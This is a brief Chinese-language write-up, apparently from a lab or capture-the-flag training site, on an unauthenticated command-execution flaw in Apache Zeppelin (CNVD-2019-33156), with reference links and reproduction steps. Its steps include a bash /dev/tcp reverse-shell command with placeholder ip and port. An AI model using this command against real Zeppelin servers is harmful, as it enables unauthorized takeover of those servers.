【初级】zeppelin 未授权任意命令执行

CNVD-2019-33156
漏洞描述：Apache Zeppelin 存在未授权的用户访问命令执行接口，导致了任意用户都可以执行恶意命令获取服务器权限
影响版本：Zeppelin
参考资料：
●https://edu.hetianlab.com/post/94
●https://www.adminxe.com/2172.html
漏洞复现
●进入8080端口，新建note笔记

选择sh或者其它的脚本语言

• 执行反弹shell命令
• bash -i /dev/tcp/ip/port <&1

获取flag